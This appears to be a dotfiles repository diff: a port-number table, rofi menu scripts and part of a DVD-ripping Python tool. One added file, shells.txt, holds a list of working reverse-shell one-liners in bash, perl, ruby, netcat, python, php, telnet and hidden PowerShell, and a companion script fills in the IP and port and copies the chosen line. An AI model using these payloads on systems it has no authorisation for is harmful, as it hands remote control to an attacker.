19001,Yes,Yes,"Audition Online Dance Battle, G10/alaplaya Server",Unofficial
|
||||
19132,,Yes,Minecraft: Bedrock Edition multiplayer server[citation needed],Unofficial
|
||||
19133,,Yes,Minecraft: Bedrock Edition IPv6 multiplayer server[citation needed],Unofficial
|
||||
19150,Yes,Yes,Gkrellm Server,Unofficial
|
||||
19226,Yes,,Panda Software AdminSecure Communication Agent,Unofficial
|
||||
19294,Yes,,Google Talk Voice and Video connections[307],Unofficial
|
||||
19295,,Yes,Google Talk Voice and Video connections[307],Unofficial
|
||||
19302,,Yes,Google Talk Voice and Video connections[307],Unofficial
|
||||
19812,Yes,No,4D database SQL Communication[308],Official
|
||||
19813,Yes,Yes,4D database Client Server Communication[308],Official
|
||||
19814,Yes,,4D database DB4D Communication[308],Official
|
||||
19999,,,"Distributed Network Protocol—Secure (DNP—Secure), a secure version of the protocol used in SCADA systems between communicating RTU's and IED's",Official
|
||||
20000,,,"Distributed Network Protocol (DNP), a protocol used in SCADA systems between communicating RTU's and IED's",Official
|
||||
20000,,,"Usermin, Web-based Unix/Linux user administration tool (default port)",Unofficial
|
||||
20000,,Yes,Used on VoIP networks for receiving and transmitting voice telephony traffic which includes Google Voice via the OBiTalk ATA devices as well as on the MagicJack and Vonage ATA network devices.[291],Unofficial
|
||||
20560,Yes,Yes,Killing Floor,Unofficial
|
||||
20595,,Yes,0 A.D. Empires Ascendant,Unofficial
|
||||
20808,,Yes,Ableton Link,Unofficial
|
||||
21025,Yes,,"Starbound Server (default), Starbound",Unofficial
|
||||
22000,Yes,,Syncthing (default),Unofficial
|
||||
22136,Yes,,FLIR Systems Camera Resource Protocol,Unofficial
|
||||
22222,Yes,,"Davis Instruments, WeatherLink IP",Unofficial
|
||||
23073,,,Soldat Dedicated Server,Unofficial
|
||||
23399,,,Skype default protocol,Unofficial
|
||||
23513,?,?,Duke Nukem 3D source ports,Unofficial
|
||||
24441,Yes,Yes,Pyzor spam detection network,Unofficial
|
||||
24444,,,NetBeans integrated development environment,Unofficial
|
||||
24465,Yes,Yes,Tonido Directory Server for Tonido which is a Personal Web App and P2P platform,Official
|
||||
24554,Yes,Yes,"BINKP, Fidonet mail transfers over TCP/IP",Official
|
||||
24800,,,Synergy: keyboard/mouse sharing software,Unofficial
|
||||
24842,,,StepMania: Online: Dance Dance Revolution Simulator,Unofficial
|
||||
25565,Yes,,Minecraft multiplayer server[309][310],Unofficial
|
||||
25565,,Yes,Minecraft multiplayer server query[311],Unofficial
|
||||
25575,,Yes,Minecraft multiplayer server RCON[312],Unofficial
|
||||
25826,,Yes,collectd default port[313],Unofficial
|
||||
26000,Yes,Yes,id Software's Quake server,Official
|
||||
26000,Yes,,EVE Online,Unofficial
|
||||
26000,,Yes,"Xonotic, an open-source arena shooter",Unofficial
|
||||
26900–26901,Yes,,EVE Online,Unofficial
|
||||
27000,Yes,,PowerBuilder SySAM license server,Unofficial
|
||||
27000–27006,,Yes,id Software's QuakeWorld master server,Unofficial
|
||||
27000–27009,Yes,Yes,FlexNet Publisher's License server (from the range of default ports),Official
|
||||
27000–27015,No,Yes,Steam (game client traffic)[314],Unofficial
|
||||
27015,No,Yes,GoldSrc and Source engine dedicated server port[314],Unofficial
|
||||
27015-27018,,Yes,"Unturned, a survival game",Unofficial
|
||||
27015–27030,No,Yes,Steam (matchmaking and HLTV)[314],Unofficial
|
||||
27015–27030,Yes,Yes,Steam (downloads)[314],Unofficial
|
||||
27016,,,Magicka server port,Unofficial
|
||||
27017,Yes,No,MongoDB daemon process (mongod) and routing service (mongos)[315],Unofficial
|
||||
27031,Ports 27036 & 27037,Yes,Steam (In-Home Streaming)[314],Unofficial
|
||||
27036,Yes,Yes,Steam (In-Home Streaming)[314],Unofficial
|
||||
27037,Yes,Ports 27031 & 27036,Steam (In-Home Streaming)[314],Unofficial
|
||||
27374,,,Sub7 default.,Unofficial
|
||||
27500–27900,,Yes,id Software's QuakeWorld,Unofficial
|
||||
27888,,Yes,Kaillera server,Unofficial
|
||||
27901–27910,,Yes,id Software's Quake II master server,Unofficial
|
||||
27950,,Yes,OpenArena outgoing,Unofficial
|
||||
27960–27969,,Yes,"Activision's Enemy Territory and id Software's Quake III Arena, Quake III and Quake Live and some ioquake3 derived games, such as Urban Terror (OpenArena incoming)",Unofficial
|
||||
28001,,,Starsiege: Tribes[citation needed],Unofficial
|
||||
28015,,Yes,Rust (video game)[316],Unofficial
|
||||
28770–28771,,Yes,"AssaultCube Reloaded, a video game based upon a modification of AssaultCube[citation needed]",Unofficial
|
||||
28785–28786,,Yes,Cube 2: Sauerbraten[317],Unofficial
|
||||
28852,Yes,Yes,Killing Floor[citation needed],Unofficial
|
||||
28910,Yes,Yes,Nintendo Wi-Fi Connection[318],Unofficial
|
||||
28960,Yes,Yes,Call of Duty; Call of Duty: United Offensive; Call of Duty 2; Call of Duty 4: Modern Warfare;[citation needed] Call of Duty: World at War (PC platform)[319],Unofficial
|
||||
29000,?,?,"Perfect World, an adventure and fantasy MMORPG[citation needed]",Unofficial
|
||||
29070,Yes,Yes,Jedi Knight: Jedi Academy by Ravensoft[citation needed],Unofficial
|
||||
29900–29901,Yes,Yes,Nintendo Wi-Fi Connection[318],Unofficial
|
||||
29920,Yes,Yes,Nintendo Wi-Fi Connection[318],Unofficial
|
||||
30564,Yes,,Multiplicity: keyboard/mouse/clipboard sharing software[citation needed],Unofficial
|
||||
31337,Yes,,Back Orifice and Back Orifice 2000 remote administration tools[320][321],Unofficial
|
||||
31416,?,?,BOINC RPC[322],Unofficial
|
||||
31438,Yes,,Rocket U2[323],Unofficial
|
||||
31457,Yes,,TetriNET,Official
|
||||
32137,Yes,Yes,"Immunet Protect (UDP in version 2.0,[324] TCP since version 3.0[325])",Unofficial
|
||||
32400,Yes,,Plex Media Server[326],Official
|
||||
32764,Yes,,"A backdoor found on certain Linksys, Netgear and other wireless DSL modems/combination routers[327]",Unofficial
|
||||
32887,Yes,,"Ace of Spades, a multiplayer FPS video game[citation needed]",Unofficial
|
||||
32976,Yes,,"LogMeIn Hamachi, a VPN application; also TCP port 12975 and SSL (TCP 443).[328]",Unofficial
|
||||
33434,Yes,Yes,traceroute,Official
|
||||
33848,,Yes,"Jenkins, a continuous integration (CI) tool[329][330]",Unofficial
|
||||
34000,,Yes,"Infestation: Survivor Stories (formerly known as The War Z), a multiplayer zombie video game[verification needed]",Unofficial
|
||||
34197,No,Yes,"Factorio, a multiplayer survival and factory-building game[citation needed]",Unofficial
|
||||
35357,Yes,,OpenStack Identity (Keystone) administration[331],Official
|
||||
37008,,Yes,TZSP intrusion detection[citation needed],Unofficial
|
||||
40000,Yes,Yes,SafetyNET p – a real-time Industrial Ethernet protocol,Official
|
||||
43110,Yes,,ZeroNet web UI default port[citation needed],Unofficial
|
||||
43594–43595,?,?,RuneScape[332],Unofficial
|
||||
44405,Yes,,Mu Online Connect Server[citation needed],Unofficial
|
||||
44818,Yes,Yes,EtherNet/IP explicit messaging,Official
|
||||
47001,Yes,,Windows Remote Management Service (WinRM)[333],Official
|
||||
47808,Yes,Yes,BACnet Building Automation and Control Networks (4780810 = BAC016),Official
|
||||
49151,Reserved,Reserved,Reserved[1],Official
|
|
49
bin/.bin/dmenu/rofi-reverse-shells
Executable file
49
bin/.bin/dmenu/rofi-reverse-shells
Executable file
|
@ -0,0 +1,49 @@
|
|||
#!/usr/bin/env bash
|
||||
#
|
||||
# Use dmenu to pick a reverse shell
|
||||
#
|
||||
# Requirements:
|
||||
# dmenu, xsel
|
||||
#
|
||||
|
||||
SHELLS="$(dirname $0)/shells.txt"
|
||||
|
||||
function notify() {
|
||||
if [ "$(command -v notify-send)" ]; then
|
||||
notify-send "$1" "$2"
|
||||
fi
|
||||
}
|
||||
|
||||
function getIP(){
|
||||
ip route |
|
||||
grep -oe 'src [^ ]* ' | # Get in the form 'src ipaddress'
|
||||
awk '{print $2}' | # Get the ip
|
||||
sort -u | # Get the unique ones
|
||||
rofi -dmenu -i -p "IP Address"
|
||||
}
|
||||
|
||||
function getPort() {
|
||||
rofi -dmenu -p "Port"
|
||||
}
|
||||
|
||||
function getReverseShell() {
|
||||
ip="$1"
|
||||
port="$2"
|
||||
cat "$SHELLS" |
|
||||
sed "s/\[IPADDR\]/$ip/g" |
|
||||
sed "s/\[PORT\]/$port/g" |
|
||||
rofi -dmenu -i -p "Reverse Shell" |
|
||||
cut -d'|' -f2-
|
||||
}
|
||||
|
||||
function display() {
|
||||
ip=$(getIP)
|
||||
port=$(getPort)
|
||||
reverseShell=$(getReverseShell $ip $port)
|
||||
|
||||
echo -n "$reverseShell" | /usr/bin/xclip -i -selection clipboard
|
||||
}
|
||||
|
||||
|
||||
# display displays :)
|
||||
display
|
28
bin/.bin/dmenu/rofi-shutdown
Executable file
28
bin/.bin/dmenu/rofi-shutdown
Executable file
|
@ -0,0 +1,28 @@
|
|||
#!/usr/bin/sh
|
||||
selection=$( \
|
||||
echo -e "Lock\nLogout\nSuspend\nHibernate\nReboot\nShutdown" |\
|
||||
rofi -dmenu -i -p 'Option');
|
||||
echo $selection;
|
||||
|
||||
sleep .2
|
||||
|
||||
case $selection in
|
||||
Lock)
|
||||
i3exit lock
|
||||
;;
|
||||
Logout)
|
||||
i3exit logout
|
||||
;;
|
||||
Suspend)
|
||||
i3exit suspend
|
||||
;;
|
||||
Hibernate)
|
||||
i3exit hibernate
|
||||
;;
|
||||
Reboot)
|
||||
i3exit reboot
|
||||
;;
|
||||
Shutdown)
|
||||
i3exit shutdown
|
||||
;;
|
||||
esac
|
14
bin/.bin/dmenu/shells.txt
Normal file
14
bin/.bin/dmenu/shells.txt
Normal file
|
@ -0,0 +1,14 @@
|
|||
BASH REVERSE SHELL|bash -i >& /dev/tcp/[IPADDR]/[PORT] 0>&1
|
||||
BASH REVERSE SHELL|0<&196;exec 196<>/dev/tcp/[IPADDR]/[PORT]; sh <&196 >&196 2>&196
|
||||
PERL REVERSE SHELL|perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"[IPADDR]:[PORT]");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
|
||||
PERL REVERSE SHELL WINDOWS|perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"[IPADDR]:[PORT]");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
|
||||
RUBY REVERSE SHELL|ruby -rsocket -e 'exit if fork;c=TCPSocket.new("[IPADDR]","[PORT]");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
|
||||
RUBY REVERSE SHELL|ruby -rsocket -e'f=TCPSocket.open("[IPADDR]",[PORT]).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
|
||||
RUBY REVERSE SHELL WINDOWS|ruby -rsocket -e 'c=TCPSocket.new("[IPADDR]","[PORT]");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
|
||||
NETCAT REVERSE SHELL|nc -c /bin/sh [IPADDR] [PORT]
|
||||
NETCAT REVERSE SHELL|/bin/sh | nc [IPADDR] [PORT]
|
||||
NETCAT REVERSE SHELL|rm -f /tmp/p; mknod /tmp/p p && nc [IPADDR] [PORT] 0/tmp/p
|
||||
PYTHON REVERSE SHELL|python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("[IPADDR]",[PORT]));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
|
||||
PHP REVERSE SHELL|php -r '$sock=fsockopen("[IPADDR]",[PORT]);exec("/bin/sh -i <&3 >&3 2>&3");'
|
||||
TELNET REVERSE SHELL|rm -f /tmp/p; mknod /tmp/p p && telnet [IPADDR] [PORT] 0/tmp/p
|
||||
POWERSHELL REVERSE SHELL|powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient("[IPADDR]",[PORT]);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
|
52
bin/.bin/dmenu/unicode-character-select
Executable file
52
bin/.bin/dmenu/unicode-character-select
Executable file
|
@ -0,0 +1,52 @@
|
|||
#!/usr/bin/env bash
|
||||
#
|
||||
# Use rofi to pick emoji because that's what this
|
||||
# century is about apparently...
|
||||
#
|
||||
# Requirements:
|
||||
# rofi, xsel, xdotool, curl, xmllint
|
||||
#
|
||||
# Usage:
|
||||
# 1. Download all emoji
|
||||
# $ rofi-emoji --download
|
||||
#
|
||||
# 2. Run it!
|
||||
# $ rofi-emoji
|
||||
#
|
||||
# Notes:
|
||||
# * You'll need a emoji font like "Noto Emoji" or "EmojiOne".
|
||||
# * Confirming an item will automatically paste it WITHOUT
|
||||
# writing it to your clipboard.
|
||||
# * Ctrl+C will copy it to your clipboard WITHOUT pasting it.
|
||||
#
|
||||
|
||||
# Where to save the emojis file.
|
||||
UNICODE_FILE="$(dirname "$0")/unicode.txt"
|
||||
|
||||
|
||||
function notify() {
|
||||
if [ "$(command -v notify-send)" ]; then
|
||||
notify-send "$1" "$2"
|
||||
fi
|
||||
}
|
||||
|
||||
|
||||
function display() {
|
||||
emoji=$(cat "$UNICODE_FILE" | grep -v '^[[:space:]]*$')
|
||||
line=$(echo "$emoji" | dmenu -i -p Unicode -kb-custom-1 Ctrl+c $@)
|
||||
exit_code=$?
|
||||
|
||||
line=($line)
|
||||
|
||||
if [ $exit_code == 0 ]; then
|
||||
xdotool type --clearmodifiers "${line[0]}"
|
||||
elif [ $exit_code == 10 ]; then
|
||||
echo -n "${line[0]}" | /usr/bin/xclip -i -selection clipboard
|
||||
|
||||
fi
|
||||
}
|
||||
|
||||
|
||||
|
||||
# display displays :)
|
||||
display
|
121334
bin/.bin/dmenu/unicode.txt
Normal file
121334
bin/.bin/dmenu/unicode.txt
Normal file
File diff suppressed because it is too large
Load diff
709
bin/.bin/dvdrip
Executable file
709
bin/.bin/dvdrip
Executable file
|
@ -0,0 +1,709 @@
|
|||
#!/usr/bin/env python3
|
||||
# coding=utf-8
|
||||
|
||||
"""
|
||||
|
||||
based on this: https://github.com/xenomachina/dvdrip
|
||||
|
||||
Rip DVDs quickly and easily from the commandline.
|
||||
|
||||
Features:
|
||||
- With minimal configuration:
|
||||
- Encodes videos in mkv files with h.264 video and aac audio.
|
||||
(compatible with a wide variety of media players without
|
||||
additional transcoding, including PS3, Roku, and most smart
|
||||
phones, smart TVs and tablets).
|
||||
- Preserves all audio tracks, all subtitle tracks, and chapter
|
||||
markers.
|
||||
- Intelligently chooses output filename based on a provided prefix.
|
||||
- Generates one video file per DVD title, or optionally one per
|
||||
chapter.
|
||||
- Easy to read "scan" mode tells you what you need need to know about
|
||||
a disk to decide on how to rip it.
|
||||
|
||||
Why I wrote this:
|
||||
This script exists because I wanted a simple way to back up DVDs with
|
||||
reasonably good compression and quality settings, and in a format I could
|
||||
play on the various media players I own including PS3, Roku, smart TVs,
|
||||
smartphones and tablets. Using mkv files with h.264 video and aac audio seems
|
||||
to be the best fit for these constraints.
|
||||
|
||||
I also wanted it to preserve as much as possible: chapter markers, subtitles,
|
||||
and (most of all) *all* of the audio tracks. My kids have a number of
|
||||
bilingual DVDs, and I wanted to back these up so they don't have to handle
|
||||
the physical disks, but can still watch their shows in either language. For
|
||||
some reason HandBrakeCLI doesn't have a simple “encode all audio tracks”
|
||||
option.
|
||||
|
||||
This script also tries to be smart about the output name. You just tell it
|
||||
the pathname prefix, eg: "/tmp/AwesomeVideo", and it'll decide whether to
|
||||
produce a single file, "/tmp/AwesomeVideo.mkv", or a directory
|
||||
"/tmp/AwesomeVideo/" which will contain separate files for each title,
|
||||
depending on whether you're ripping a single title or multiple titles.
|
||||
|
||||
|
||||
Using it, Step 1:
|
||||
|
||||
The first step is to scan your DVD and decide whether or not you want
|
||||
to split chapters. Here's an example of a disc with 6 episodes of a TV
|
||||
show, plus a "bump", all stored as a single title.
|
||||
|
||||
$ dvdrip --scan /dev/cdrom
|
||||
Reading from '/media/EXAMPLE1'
|
||||
Title 1/ 1: 02:25:33 720×576 4:3 25 fps
|
||||
audio 1: Chinese (5.1ch) [48000Hz, 448000bps]
|
||||
chapter 1: 00:24:15 ◖■■■■■■■■■‥‥‥‥‥‥‥‥‥‥‥‥‥‥‥‥‥‥‥‥‥‥‥‥‥‥‥‥‥‥‥‥‥‥‥‥‥‥‥‥‥◗
|
||||
chapter 2: 00:24:15 ◖‥‥‥‥‥‥‥‥■■■■■■■■■‥‥‥‥‥‥‥‥‥‥‥‥‥‥‥‥‥‥‥‥‥‥‥‥‥‥‥‥‥‥‥‥‥◗
|
||||
chapter 3: 00:24:14 ◖‥‥‥‥‥‥‥‥‥‥‥‥‥‥‥‥■■■■■■■■■‥‥‥‥‥‥‥‥‥‥‥‥‥‥‥‥‥‥‥‥‥‥‥‥‥◗
|
||||
chapter 4: 00:24:15 ◖‥‥‥‥‥‥‥‥‥‥‥‥‥‥‥‥‥‥‥‥‥‥‥‥■■■■■■■■■■‥‥‥‥‥‥‥‥‥‥‥‥‥‥‥‥◗
|
||||
chapter 5: 00:24:15 ◖‥‥‥‥‥‥‥‥‥‥‥‥‥‥‥‥‥‥‥‥‥‥‥‥‥‥‥‥‥‥‥‥‥■■■■■■■■■‥‥‥‥‥‥‥‥◗
|
||||
chapter 6: 00:24:14 ◖‥‥‥‥‥‥‥‥‥‥‥‥‥‥‥‥‥‥‥‥‥‥‥‥‥‥‥‥‥‥‥‥‥‥‥‥‥‥‥‥‥■■■■■■■■■◗
|
||||
chapter 7: 00:00:05 ◖‥‥‥‥‥‥‥‥‥‥‥‥‥‥‥‥‥‥‥‥‥‥‥‥‥‥‥‥‥‥‥‥‥‥‥‥‥‥‥‥‥‥‥‥‥‥‥‥‥■◗
|
||||
|
||||
Knowing that this is 6 episodes of a TV show, I'd choose to split the
|
||||
chapters. If it was a movie with 6 chapters, I would choose to not
|
||||
split it.
|
||||
|
||||
Here's a disc with 3 2-segment episodes of a show, plus two "bumps",
|
||||
stored as 8 titles.
|
||||
|
||||
Reading from '/media/EXAMPLE2'
|
||||
Title 1/ 5: 00:23:22 720×576 4:3 25 fps
|
||||
audio 1: Chinese (2.0ch) [48000Hz, 192000bps]
|
||||
audio 2: English (2.0ch) [48000Hz, 192000bps]
|
||||
sub 1: English [(Bitmap)(VOBSUB)]
|
||||
chapter 1: 00:11:41 ◖■■■■■■■■■■■■■■■■■■■■■■■■■‥‥‥‥‥‥‥‥‥‥‥‥‥‥‥‥‥‥‥‥‥‥‥‥‥◗
|
||||
chapter 2: 00:11:41 ◖‥‥‥‥‥‥‥‥‥‥‥‥‥‥‥‥‥‥‥‥‥‥‥‥■■■■■■■■■■■■■■■■■■■■■■■■■■◗
|
||||
|
||||
Title 2/ 5: 00:22:40 720×576 4:3 25 fps
|
||||
audio 1: Chinese (2.0ch) [48000Hz, 192000bps]
|
||||
audio 2: English (2.0ch) [48000Hz, 192000bps]
|
||||
sub 1: English [(Bitmap)(VOBSUB)]
|
||||
chapter 1: 00:11:13 ◖■■■■■■■■■■■■■■■■■■■■■■■■‥‥‥‥‥‥‥‥‥‥‥‥‥‥‥‥‥‥‥‥‥‥‥‥◗
|
||||
chapter 2: 00:11:28 ◖‥‥‥‥‥‥‥‥‥‥‥‥‥‥‥‥‥‥‥‥‥‥‥■■■■■■■■■■■■■■■■■■■■■■■■■◗
|
||||
|
||||
Title 3/ 5: 00:22:55 720×576 4:3 25 fps
|
||||
audio 1: Chinese (2.0ch) [48000Hz, 192000bps]
|
||||
audio 2: English (2.0ch) [48000Hz, 192000bps]
|
||||
sub 1: English [(Bitmap)(VOBSUB)]
|
||||
chapter 1: 00:15:56 ◖■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■‥‥‥‥‥‥‥‥‥‥‥‥‥‥‥◗
|
||||
chapter 2: 00:06:59 ◖‥‥‥‥‥‥‥‥‥‥‥‥‥‥‥‥‥‥‥‥‥‥‥‥‥‥‥‥‥‥‥‥‥■■■■■■■■■■■■■■■■◗
|
||||
|
||||
Title 4/ 5: 00:00:08 720×576 4:3 25 fps
|
||||
audio 1: English (2.0ch) [None]
|
||||
chapter 1: 00:00:08 ◖◗
|
||||
|
||||
Title 5/ 5: 00:00:05 720×576 4:3 25 fps
|
||||
chapter 1: 00:00:05 ◖◗
|
||||
|
||||
Given that these are 2-segment episodes (it's pretty common for kids'
|
||||
shows to have two segments per episode -- essentially 2 "mini-episodes") you
|
||||
can choose whether to do the default one video per title (episodes) or
|
||||
split by chapter (segments / mini-episodes).
|
||||
|
||||
Using it, Step 2:
|
||||
|
||||
If you've decided to split by chapter, execute:
|
||||
|
||||
dvdrip.py -c /dev/cdrom -o Output_Name
|
||||
|
||||
Otherwise, leave out the -c flag.
|
||||
|
||||
If there is only one video being ripped, it will be named Output_Name.mkv. If
|
||||
there are multiple files, they will be placed in a new directory called
|
||||
Output_Name.
|
||||
|
||||
Limitations:
|
||||
|
||||
This script has been tested on both Linux and Mac OS X with Python 3,
|
||||
HandBrakeCLI and VLC installed (and also MacPorts in the case of OS X).
|
||||
"""
|
||||
|
||||
# TODO: Detect if HandBrakeCLI is burning in vobsubs.
|
||||
|
||||
import argparse
|
||||
import os
|
||||
import re
|
||||
import stat
|
||||
import subprocess
|
||||
import sys
|
||||
import time
|
||||
|
||||
from pprint import pprint
|
||||
from collections import namedtuple
|
||||
from fractions import gcd
|
||||
|
||||
|
||||
class UserError(Exception):
|
||||
def __init__(self, message):
|
||||
self.message = message
|
||||
|
||||
CHAR_ENCODING = 'UTF-8'
|
||||
|
||||
def check_err(*popenargs, **kwargs):
|
||||
process = subprocess.Popen(stderr=subprocess.PIPE, *popenargs, **kwargs)
|
||||
_, stderr = process.communicate()
|
||||
retcode = process.poll()
|
||||
if retcode:
|
||||
cmd = kwargs.get("args")
|
||||
if cmd is None:
|
||||
cmd = popenargs[0]
|
||||
raise subprocess.CalledProcessError(retcode, cmd, output=stderr)
|
||||
return stderr.decode(CHAR_ENCODING, 'replace')
|
||||
|
||||
def check_output(*args, **kwargs):
|
||||
return subprocess.check_output(*args, **kwargs).decode(CHAR_ENCODING)
|
||||
|
||||
HANDBRAKE = 'HandBrakeCLI'
|
||||
|
||||
TITLE_COUNT_REGEXES = [
|
||||
re.compile(r'^Scanning title 1 of (\d+)\.\.\.$'),
|
||||
re.compile(r'^\[\d\d:\d\d:\d\d] scan: DVD has (\d+) title\(s\)$'),
|
||||
]
|
||||
|
||||
def FindTitleCount(scan, verbose):
|
||||
for regex in TITLE_COUNT_REGEXES:
|
||||
for line in scan:
|
||||
m = regex.match(line)
|
||||
if m: break
|
||||
if m:
|
||||
return int(m.group(1))
|
||||
if verbose:
|
||||
for line in scan:
|
||||
print(line)
|
||||
raise AssertionError("Can't find TITLE_COUNT_REGEX in scan")
|
||||
|
||||
|
||||
STRUCTURED_LINE_RE = re.compile(r'( *)\+ (([a-z0-9 ]+):)?(.*)')
|
||||
|
||||
def ExtractTitleScan(scan):
|
||||
result = []
|
||||
in_title_scan = False
|
||||
for line in scan:
|
||||
if not in_title_scan:
|
||||
if line.startswith('+'):
|
||||
in_title_scan = True
|
||||
if in_title_scan:
|
||||
m = STRUCTURED_LINE_RE.match(line)
|
||||
if m:
|
||||
result.append(line)
|
||||
else:
|
||||
break
|
||||
return tuple(result)
|
||||
|
||||
|
||||
TRACK_VALUE_RE = re.compile(r'(\d+), (.*)')
|
||||
|
||||
def MassageTrackData(node, key):
|
||||
if key in node:
|
||||
track_data = node[key]
|
||||
if type(track_data) is list:
|
||||
new_track_data = {}
|
||||
for track in track_data:
|
||||
k, v = TRACK_VALUE_RE.match(track).groups()
|
||||
new_track_data[k] = v
|
||||
node[key] = new_track_data
|
||||
|
||||
def ParseTitleScan(scan):
|
||||
pos, result = ParseTitleScanHelper(scan, pos=0, indent=0)
|
||||
|
||||
# HandBrakeCLI inexplicably uses a comma instead of a colon to
|
||||
# separate the track identifier from the track data in the "audio
|
||||
# tracks" and "subtitle tracks" nodes, so we "massage" these parsed
|
||||
# nodes to get a consistent parsed reperesentation.
|
||||
for value in result.values():
|
||||
MassageTrackData(value, 'audio tracks')
|
||||
MassageTrackData(value, 'subtitle tracks')
|
||||
return result
|
||||
|
||||
def ParseTitleScanHelper(scan, pos, indent):
|
||||
result = {}
|
||||
cruft = []
|
||||
while True:
|
||||
pos, node = ParseNode(scan, pos=pos, indent=indent)
|
||||
if node:
|
||||
if type(node) is tuple:
|
||||
k, v = node
|
||||
result[k] = v
|
||||
else:
|
||||
cruft.append(node)
|
||||
result[None] = cruft
|
||||
else:
|
||||
break
|
||||
if len(result) == 1 and None in result:
|
||||
result = result[None]
|
||||
return pos, result
|
||||
|
||||
def ParseNode(scan, pos, indent):
|
||||
if pos >= len(scan):
|
||||
return pos, None
|
||||
line = scan[pos]
|
||||
spaces, colon, name, value = STRUCTURED_LINE_RE.match(line).groups()
|
||||
spaces = len(spaces) / 2
|
||||
if spaces < indent:
|
||||
return pos, None
|
||||
assert spaces == indent, '%d <> %r' % (indent, line)
|
||||
pos += 1
|
||||
if colon:
|
||||
if value:
|
||||
node = (name, value)
|
||||
else:
|
||||
pos, children = ParseTitleScanHelper(scan, pos, indent + 1)
|
||||
node = (name, children)
|
||||
else:
|
||||
node = value
|
||||
return pos, node
|
||||
|
||||
def only(iterable):
|
||||
"""
|
||||
Return the one and only element in iterable.
|
||||
|
||||
Raises an ValueError if iterable does not have exactly one item.
|
||||
"""
|
||||
result, = iterable
|
||||
return result
|
||||
|
||||
Title = namedtuple('Title', ['number', 'info'])
|
||||
Task = namedtuple('Task', ['title', 'chapter'])
|
||||
|
||||
TOTAL_EJECT_SECONDS = 5
|
||||
EJECT_ATTEMPTS_PER_SECOND = 10
|
||||
|
||||
class DVD:
|
||||
def __init__(self, mountpoint, verbose, mount_timeout=0):
|
||||
if stat.S_ISBLK(os.stat(mountpoint).st_mode):
|
||||
mountpoint = FindMountPoint(mountpoint, mount_timeout)
|
||||
if not os.path.isdir(mountpoint):
|
||||
raise UserError('%r is not a directory' % mountpoint)
|
||||
self.mountpoint = mountpoint
|
||||
self.verbose = verbose
|
||||
|
||||
def RipTitle(self, task, output, dry_run, verbose):
|
||||
if verbose:
|
||||
print('Title Scan:')
|
||||
pprint(task.title.info)
|
||||
print('-' * 78)
|
||||
|
||||
english_audio = {k: v for k, v in task.title.info['audio tracks'].items() if 'english' in v.lower() }
|
||||
english_subs = {k: v for k, v in task.title.info['subtitle tracks'].items() if 'english' in v.lower() }
|
||||
#audio_tracks = task.title.info['audio tracks'].keys()
|
||||
audio_tracks = english_audio.keys()
|
||||
audio_encoders = ['faac'] * len(audio_tracks)
|
||||
#subtitles = task.title.info['subtitle tracks'].keys()
|
||||
subtitles = english_subs.keys()
|
||||
|
||||
args = [
|
||||
HANDBRAKE,
|
||||
'--title', str(task.title.number),
|
||||
'--preset', "Very Fast 1080p30",
|
||||
'--vfr',
|
||||
'--encoder', 'x264',
|
||||
'--audio', ','.join(audio_tracks),
|
||||
'--aencoder', ','.join(audio_encoders),
|
||||
]
|
||||
if task.chapter is not None:
|
||||
args += [
|
||||
'--chapters', str(task.chapter),
|
||||
]
|
||||
if subtitles:
|
||||
args += [
|
||||
'--subtitle', ','.join(subtitles),
|
||||
]
|
||||
args += [
|
||||
'--markers',
|
||||
'--optimize',
|
||||
#'--no-dvdnav', # TODO: turn this on as a fallback
|
||||
'--input', self.mountpoint,
|
||||
'--output', output,
|
||||
]
|
||||
if verbose:
|
||||
print(' '.join(('\n ' + a)
|
||||
if a.startswith('-') else a for a in args))
|
||||
print('-' * 78)
|
||||
pprint( args )
|
||||
if not dry_run:
|
||||
if verbose:
|
||||
subprocess.call(args)
|
||||
else:
|
||||
check_err(args)
|
||||
|
||||
def ScanTitle(self, i):
|
||||
for line in check_err([
|
||||
HANDBRAKE,
|
||||
#'--no-dvdnav', # TODO: turn this on as a fallback
|
||||
'--scan',
|
||||
'--title', str(i),
|
||||
'-i',
|
||||
self.mountpoint], stdout=subprocess.PIPE).split('\n'):
|
||||
if self.verbose:
|
||||
print('< %s' % line.rstrip())
|
||||
yield line
|
||||
|
||||
def ScanTitles(self, title_numbers, verbose):
|
||||
"""
|
||||
Returns an iterable of parsed titles.
|
||||
"""
|
||||
first = title_numbers[0] if title_numbers else 1
|
||||
raw_scan = tuple(self.ScanTitle(first))
|
||||
title_count = FindTitleCount(raw_scan, verbose)
|
||||
print('Disc claims to have %d titles.' % title_count)
|
||||
title_name, title_info = only(
|
||||
ParseTitleScan(ExtractTitleScan(raw_scan)).items())
|
||||
del raw_scan
|
||||
|
||||
def MakeTitle(name, number, info):
|
||||
assert ('title %d' % number) == name
|
||||
info['duration'] = ExtractDuration('duration ' + info['duration'])
|
||||
return Title(number, info)
|
||||
|
||||
yield MakeTitle(title_name, first, title_info)
|
||||
|
||||
to_scan = [x for x in range(1, title_count + 1)
|
||||
if x != first
|
||||
and ((not title_numbers)
|
||||
or x in title_numbers)]
|
||||
for i in to_scan:
|
||||
try:
|
||||
scan = ExtractTitleScan(self.ScanTitle(i))
|
||||
except subprocess.CalledProcessError as exc:
|
||||
warn("Cannot scan title %d." % i)
|
||||
else:
|
||||
title_info_names = ParseTitleScan(scan).items()
|
||||
if title_info_names:
|
||||
title_name, title_info = only(title_info_names)
|
